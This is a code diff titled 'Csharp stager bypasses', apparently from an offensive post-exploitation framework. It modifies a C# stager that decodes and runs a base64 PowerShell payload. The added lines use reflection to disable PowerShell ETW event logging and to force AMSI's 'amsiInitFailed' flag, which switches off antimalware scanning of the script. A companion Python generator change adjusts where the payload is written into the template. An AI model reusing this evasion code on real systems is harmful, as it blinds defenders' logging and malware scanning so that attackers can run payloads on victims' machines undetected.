Csharp stager bypasses

data/misc/cSharpTemplateResources/cmd/cmd/Program.cs

@@ -1,22 +1,20 @@
 /*
- * 
  * You may compile this in Visual Studio or SharpDevelop etc.
- * 
- * 
- * 
- * 
  */
 using System;
 using System.Text;
-using System.Management.Automation; 
-using System.Management.Automation.Runspaces; 
+using System.Reflection;
+using System.Management.Automation;
+using System.Management.Automation.Runspaces;
 
 namespace cmd
 {
 	class Program
 	{
 		public static void Main(string[] args)
 		{
+            BindingFlags flags = BindingFlags.NonPublic | BindingFlags.Static;
+
 			string stager = " YOUR CODE GOES HERE";
 			var decodedScript = Encoding.Unicode.GetString(Convert.FromBase64String(stager));
 
@@ -25,6 +23,20 @@ public static void Main(string[] args)
             RunspaceInvoke scriptInvoker = new RunspaceInvoke(runspace);
             Pipeline pipeline = runspace.CreatePipeline();
 
+            var PSEtwLogProvider = pipeline.Commands.GetType().Assembly.GetType("System.Management.Automation.Tracing.PSEtwLogProvider");
+            if (PSEtwLogProvider != null)
+            {
+                var EtwProvider = PSEtwLogProvider.GetField("etwProvider", flags);
+                var EventProvider = new System.Diagnostics.Eventing.EventProvider(Guid.NewGuid());
+                EtwProvider.SetValue(null, EventProvider);
+            }
+
+            var amsiUtils = pipeline.Commands.GetType().Assembly.GetType("System.Management.Automation.AmsiUtils");
+            if (amsiUtils != null)
+            {
+                amsiUtils.GetField("amsiInitFailed", flags).SetValue(null, true);
+            }
+
             pipeline.Commands.AddScript(decodedScript);
 
             pipeline.Commands.Add("Out-Default");

lib/stagers/windows/csharp_exe.py

@@ -125,7 +125,7 @@ def generate(self):
                 shutil.copytree(directory,destdirectory)
 
                 lines = open(destdirectory + 'cmd/Program.cs').read().splitlines()
-                lines[19] = "\t\t\tstring stager = \"" + launcherCode + "\";"
+                lines[17] = "\t\t\tstring stager = \"" + launcherCode + "\";"
                 open(destdirectory + 'cmd/Program.cs','w').write('\n'.join(lines))
                 shutil.make_archive(outfile,'zip',destdirectory)
                 shutil.rmtree(destdirectory)